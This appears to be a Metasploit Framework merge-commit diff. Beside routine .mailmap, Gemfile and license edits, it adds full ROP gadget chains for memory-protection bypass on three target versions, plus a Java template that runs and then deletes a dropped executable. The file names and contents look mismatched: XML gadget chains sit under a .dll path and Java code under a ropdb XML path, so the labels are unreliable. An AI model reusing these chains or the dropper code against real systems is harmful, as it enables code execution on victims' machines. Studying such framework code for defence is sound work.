Merge pull request #4 from jvazquez-r7/review_2763

Update against upstream

Author: BorjaMerino

.mailmap

@@ -2,6 +2,7 @@ bturner-r7 <bturner-r7@github>     Brandon Turner <[email protected]>
 dmaloney-r7 <dmaloney-r7@github>   David Maloney <[email protected]>
 dmaloney-r7 <dmaloney-r7@github>   David Maloney <[email protected]> # aka TheLightCosine
 ecarey-r7 <ecarey-r7@github>       Erran Carey <[email protected]>
+farias-r7 <farias-r7@github>       Fernando Arias <[email protected]>
 hmoore-r7 <hmoore-r7@github>       HD Moore <[email protected]>
 hmoore-r7 <hmoore-r7@github>       HD Moore <[email protected]>
 jlee-r7 <jlee-r7@github>           egypt <[email protected]> # aka egypt
@@ -13,14 +14,16 @@ jvazquez-r7 <jvazquez-r7@github>   jvazquez-r7 <[email protected]>
 jvazquez-r7 <jvazquez-r7@github>   jvazquez-r7 <[email protected]>
 limhoff-r7 <limhoff-r7@github>     Luke Imhoff <[email protected]>
 shuckins-r7 <shuckins-r7@github>   Samuel Huckins <[email protected]>
-tasos-r7 <tasos-r7@github>         Tasos Laskos <[email protected]>
 todb-r7 <todb-r7@github>           Tod Beardsley <[email protected]>
 todb-r7 <todb-r7@github>           Tod Beardsley <[email protected]>
+todb-r7 <todb-r7@github>           Tod Beardsley <[email protected]>
+trosen-r7 <trosen-r7@github>       Trevor Rosen <[email protected]>
 wchen-r7 <wchen-r7@github>         sinn3r <[email protected]> # aka sinn3r
 wchen-r7 <wchen-r7@github>         sinn3r <[email protected]>
 wchen-r7 <wchen-r7@github>         Wei Chen <[email protected]>
 wvu-r7 <wvu-r7@github>             William Vu <[email protected]>
 wvu-r7 <wvu-r7@github>             William Vu <[email protected]>
+wvu-r7 <wvu-r7@github>             William Vu <[email protected]>
 
 # Above this line are current Rapid7 employees. Below this paragraph are
 # volunteers, former employees, and potential Rapid7 employees who, at
@@ -72,9 +75,18 @@ OJ <oj@github>                         OJ Reeves <[email protected]>
 OJ <oj@github>                         OJ <[email protected]>
 r3dy <r3dy@github>                     Royce Davis <[email protected]>
 r3dy <r3dy@github>                     Royce Davis <[email protected]>
+Rick Flores <[email protected]>  Rick Flores (nanotechz9l) <[email protected]>
 rsmudge <rsmudge@github>               Raphael Mudge <[email protected]> # Aka `butane
 schierlm <schierlm@github>             Michael Schierl <[email protected]> # Aka mihi
 scriptjunkie <scriptjunkie@github>     Matt Weeks <[email protected]>
 skape <skape@???>                      Matt Miller <[email protected]>
 spoonm <spoonm@github>                 Spoon M <[email protected]>
 swtornio <swtornio@github>             Steve Tornio <[email protected]>
+Tasos Laskos <[email protected]> Tasos Laskos <[email protected]>
+TrustedSec <[email protected]>      trustedsec <[email protected]>
+
+# Aliases for utility author names. Since they're fake, typos abound
+
+Tab Assassin <[email protected]> Tabasssassin <[email protected]>
+Tab Assassin <[email protected]> Tabassassin <[email protected]>
+Tab Assassin <[email protected]> TabAssassin <[email protected]>

Gemfile

@@ -2,6 +2,8 @@ source 'https://rubygems.org'
 
 # Need 3+ for ActiveSupport::Concern
 gem 'activesupport', '>= 3.0.0'
+# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
+gem 'bcrypt-ruby'
 # Needed for some admin modules (scrutinizer_add_user.rb)
 gem 'json'
 # Needed by msfgui and other rpc components
@@ -17,7 +19,7 @@ group :db do
   # Needed for Msf::DbManager
   gem 'activerecord'
   # Database models shared between framework and Pro.
-  gem 'metasploit_data_models', '~> 0.16.6'
+  gem 'metasploit_data_models', '~> 0.16.9'
   # Needed for module caching in Mdm::ModuleDetails
   gem 'pg', '>= 0.11'
 end

Gemfile.lock

@@ -13,6 +13,7 @@ GEM
       i18n (~> 0.6, >= 0.6.4)
       multi_json (~> 1.0)
     arel (3.0.2)
+    bcrypt-ruby (3.1.2)
     builder (3.0.4)
     database_cleaner (1.1.1)
     diff-lcs (1.2.4)
@@ -21,7 +22,7 @@ GEM
     fivemat (1.2.1)
     i18n (0.6.5)
     json (1.8.0)
-    metasploit_data_models (0.16.6)
+    metasploit_data_models (0.16.9)
       activerecord (>= 3.2.13)
       activesupport
       pg
@@ -61,11 +62,12 @@ PLATFORMS
 DEPENDENCIES
   activerecord
   activesupport (>= 3.0.0)
+  bcrypt-ruby
   database_cleaner
   factory_girl (>= 4.1.0)
   fivemat (= 1.2.1)
   json
-  metasploit_data_models (~> 0.16.6)
+  metasploit_data_models (~> 0.16.9)
   msgpack
   network_interface (~> 0.0.1)
   nokogiri

LICENSE

@@ -41,93 +41,10 @@ Copyright: 2004-2005 vlad902 <vlad902 [at] gmail.com>
            2007 H D Moore <hdm [at] metasploit.com>
 License: GPL-2 and Artistic
 
-Files: external/source/meterpreter/ReflectiveDLLInjection/*
-Copyright: 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
+Files: external/source/ReflectiveDLLInjection/*
+Copyright: 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
 License: BSD-3-clause
 
-Files: external/source/meterpreter/source/common/queue.h
-Copyright: 1991, 1993 The Regents of the University of California
-License: BSD-3-clause
-
-Files: external/source/meterpreter/source/common/zlib/* external/source/meterpreter/source/server/zlib/*
-Copyright: 1995-1996 Jean-loup Gailly and Mark Adler
-License: Zlib
-
-Files: external/source/meterpreter/source/bionic/libc/*
-Copyright: 2005-2008, The Android Open Source Project
-           2004 by Internet Systems Consortium, Inc. ("ISC")
-           1995,1996,1999 by Internet Software Consortium
-           1995 by International Business Machines, Inc.
-           1997,1998,1999,2004 The NetBSD Foundation, Inc.
-           1993 Christopher G. Demetriou
-           1983,1985,1989,1993 The Regents of the University of California
-           2000 Ben Harris
-           1995,1996,1997,1998 WIDE Project
-           2003 Networks Associates Technology, Inc.
-           1993 by Digital Equipment Corporation
-           1997 Mark Brinicombe
-           1993 Martin Birgmeier
-           1993 by Sun Microsystems, Inc.
-           1997, 2005 Todd C. Miller <[email protected]>
-           1995, 1996 Carnegie-Mellon University
-           2003 Networks Associates Technology, Inc.
-License: BSD-3-clause and BSD-4-clause
-
-Files: external/source/meterpreter/source/bionic/libdl/*
-Copyright: 2007 The Android Open Source Project
-License: BSD-3-clause
-
-Files: external/source/meterpreter/source/bionic/libm/*
-Copyright: 2003, Steven G. Kargl
-           2003 Mike Barcroft <[email protected]>
-           2002-2005 David Schultz <[email protected]>
-           2004 Stefan Farfeleder
-           2003 Dag-Erling Coïdan Smørgrav
-           1996 The NetBSD Foundation, Inc.
-           1985,1988,1991,1992,1993 The Regents of the University of California
-           1993,94 Winning Strategies, Inc.
-           1993, 2004 by Sun Microsystems, Inc.
-License: BSD-2-clause and BSD-3-clause and BSD-4-clause
-
-Files: external/source/meterpreter/source/extensions/espia/screen.c
-Copyright: 1994-2008, Mark Hammond
-License: BSD-2-clause
-
-Files: external/source/meterpreter/source/extensions/priv/server/timestomp.c
-Copyright: 2005 Vincent Liu
-License: GPL-2
-
-Files: external/source/meterpreter/source/extensions/stdapi/server/webcam/bmp2jpeg.c external/source/meterpreter/source/screenshot/bmp2jpeg.c
-Copyright: 1994-2008, Mark Hammond
-License: BSD-2-clause
-
-Files: external/source/meterpreter/source/extensions/stdapi/server/railgun/railgun.c
-Copyright: 2010, [email protected]
-License: BSD-2-clause
-
-Files: external/source/meterpreter/source/pssdk/*
-Copyright: microOLAP
-License: N/A
-Comment: HD Moore holds a single-seat developer license for the Packet Sniffer
-         SDK library embedded into the Meterpreter Sniffer extension.  This
-         source code is not distributed with Metasploit Framework.
-
-Files: external/source/meterpreter/source/openssl/*
-Copyright: 1998-2002 The OpenSSL Project
-License: OpenSSL and SSLeay
-
-Files: external/source/meterpreter/source/server/posix/sfsyscall.h
-Copyright: 2003  Philippe Biondi <[email protected]>
-License: LGPL
-
-Files: external/source/meterpreter/source/jpeg-8/*
-Copyright: 1991-2010, Thomas G. Lane, Guido Vollbeding
-License: BSD-3-clause
-
-Files: external/source/meterpreter/source/libpcap/*
-Copyright: 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997 The Regents of the University of California.
-License: BSD-4-clause
-
 Files: external/source/metsvc/*
 Copyright: 2007, Determina Inc.
 License: BSD-3-clause

data/exploits/CVE-2013-0109/nvidia_nvsvc.x86.dll

@@ -0,0 +1,132 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+<db>
+
+<rop>
+  <compatibility>
+    <target>9</target>
+  </compatibility>
+
+  <gadgets base="0x4a800000">
+    <gadget offset="0x2313d">pop ecx # ret</gadget>
+    <gadget offset="0x2a713">push eax # pop esp # ret</gadget>
+    <gadget offset="0x01f90">pop eax # ret</gadget>
+    <gadget offset="0x49038">ptr to CreateFileMappingA()</gadget>
+    <gadget offset="0x07e7d">call [eax] # ret</gadget>
+    <gadget value="0xffffffff">HANDLE hFile</gadget>
+    <gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
+    <gadget value="0x00000040">DWORD flProtect</gadget>
+    <gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
+    <gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
+    <gadget value="0x00000000">LPCTSTR lpName</gadget>
+    <gadget offset="0x0155a">pop edi # ret</gadget>
+    <gadget offset="0x43a84">pop ebp # pop ebx # pop ecx # ret</gadget>
+    <gadget offset="0x2d4de">pop ebx # ret</gadget>
+    <gadget offset="0x01f90">pop eax # ret</gadget>
+    <gadget offset="0x476aa">pop ecx # ret</gadget>
+    <gadget offset="0x49030">ptr to MapViewOfFile()</gadget>
+    <gadget offset="0x44122">mov edx, ecx</gadget>
+    <gadget offset="0x476aa">pop ecx # ret</gadget>
+    <gadget offset="0x07e7d">call [eax] # ret</gadget>
+    <gadget offset="0x13178">pushad # add al, 0 # ret</gadget>
+    <gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
+    <gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
+    <gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
+    <gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
+    <gadget offset="0x43a82">pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret</gadget>
+    <gadget offset="0x46c5e">jmp IAT msvcr80!memcpy</gadget>
+    <gadget offset="0x476ab">ret</gadget>
+    <gadget value="junk">JUNK</gadget>
+    <gadget value="0x00000400">memcpy length</gadget>
+    <gadget value="junk">JUNK</gadget>
+    <gadget offset="0x17984">xchg eax, ebp # ret</gadget>
+    <gadget offset="0x13178">pushad # add al, 0 # ret</gadget>
+  </gadgets>
+</rop>
+
+<rop>
+  <compatibility>
+    <target>10</target>
+  </compatibility>
+
+  <gadgets base="0x4a800000">
+    <gadget offset="0x26015">pop ecx # ret</gadget>
+    <gadget offset="0x2e090">push eax # pop esp # ret</gadget>
+    <gadget offset="0x2007d">pop eax # ret</gadget>
+    <gadget offset="0x50038">ptr to CreateFileMappingA()</gadget>
+    <gadget offset="0x246d5">call [eax] # ret</gadget>
+    <gadget value="0xffffffff">HANDLE hFile</gadget>
+    <gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
+    <gadget value="0x00000040">DWORD flProtect</gadget>
+    <gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
+    <gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
+    <gadget value="0x00000000">LPCTSTR lpName</gadget>
+    <gadget offset="0x05016">pop edi # ret</gadget>
+    <gadget offset="0x4420c">pop ebp # pop ebx # pop ecx # ret</gadget>
+    <gadget offset="0x14241">pop ebx # ret</gadget>
+    <gadget offset="0x2007d">pop eax # ret</gadget>
+    <gadget offset="0x26015">pop ecx # ret</gadget>
+    <gadget offset="0x50030">ptr to MapViewOfFile()</gadget>
+    <gadget offset="0x4b49d">mov edx, ecx</gadget>
+    <gadget offset="0x26015">pop ecx # ret</gadget>
+    <gadget offset="0x246d5">call [eax] # ret</gadget>
+    <gadget offset="0x14197">pushad # add al, 0 # ret</gadget>
+    <gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
+    <gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
+    <gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
+    <gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
+    <gadget offset="0x14013">pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret</gadget>
+    <gadget offset="0x4e036">jmp to IAT msvcr90!memcpy</gadget>
+    <gadget offset="0x2a8df">ret</gadget>
+    <gadget value="junk">JUNK</gadget>
+    <gadget value="0x00000400">memcpy length</gadget>
+    <gadget value="junk">JUNK</gadget>
+    <gadget offset="0x18b31">xchg eax, ebp # ret</gadget>
+    <gadget offset="0x14197">pushad # add al, 0 # ret</gadget>
+  </gadgets>
+</rop>
+
+<rop>
+  <compatibility>
+    <target>11</target>
+  </compatibility>
+
+  <gadgets base="0x4a800000">
+    <gadget offset="0x5822c">pop ecx # ret</gadget>
+    <gadget offset="0x2f129">push eax # pop esp # ret</gadget>
+    <gadget offset="0x5597f">pop eax # ret</gadget>
+    <gadget offset="0x66038">ptr to CreateFileMappingA()</gadget>
+    <gadget offset="0x3f1d5">call [eax] # ret</gadget>
+    <gadget value="0xffffffff">HANDLE hFile</gadget>
+    <gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
+    <gadget value="0x00000040">DWORD flProtect</gadget>
+    <gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
+    <gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
+    <gadget value="0x00000000">LPCTSTR lpName</gadget>
+    <gadget offset="0x55093">pop edi # ret</gadget>
+    <gadget value="junk">JUNK</gadget>
+    <gadget offset="0x50030">pop ebx # pop esi # pop ebp # ret</gadget>
+    <gadget offset="0x5597f">pop eax # ret</gadget>
+    <gadget offset="0x50031">pop esi # pop ebp # ret</gadget>
+    <gadget value="junk">JUNK</gadget>
+    <gadget offset="0x5822c">pop ecx # ret</gadget>
+    <gadget offset="0x3f1d5">call [eax] # ret</gadget>
+    <gadget offset="0x5d4f8">pop edx # ret</gadget>
+    <gadget offset="0x66030">ptr to MapViewOfFile()</gadget>
+    <gadget offset="0x14864">pushad # add al, 0 # pop ebp # ret</gadget>
+    <gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
+    <gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
+    <gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
+    <gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
+    <gadget offset="0x14856">pop edi # pop esi # pop ebp # ret</gadget>
+    <gadget offset="0x505a0">memcpy address</gadget>
+    <gadget offset="0x60bc4">call eax # ret</gadget>
+    <gadget offset="0x505a0">memcpy address</gadget>
+    <gadget offset="0x1c376">xchg eax, ebp # ret</gadget>
+    <gadget offset="0x463d0">pop ebx # ret</gadget>
+    <gadget value="0x00000400">memcpy length</gadget>
+    <gadget offset="0x5d4f8">pop edx # ret</gadget>
+    <gadget offset="0x5d4f8">pop edx # ret</gadget>
+    <gadget offset="0x14864">pushad # add al, 0 # pop ebp # ret</gadget>
+  </gadgets>
+</rop>
+</db>

data/ropdb/reader.xml

@@ -39,11 +39,13 @@
 		if (%{var_proc}.waitFor() == 0) {
 			%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
 		}
-		
+
 		File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
-	} 
-	else 
+	}
+	else
 	{
-		Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
+		String[] %{var_exepatharray} = new String[1];
+		%{var_exepatharray}[0] = %{var_exepath};
+		Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepatharray});
 	}
 %%>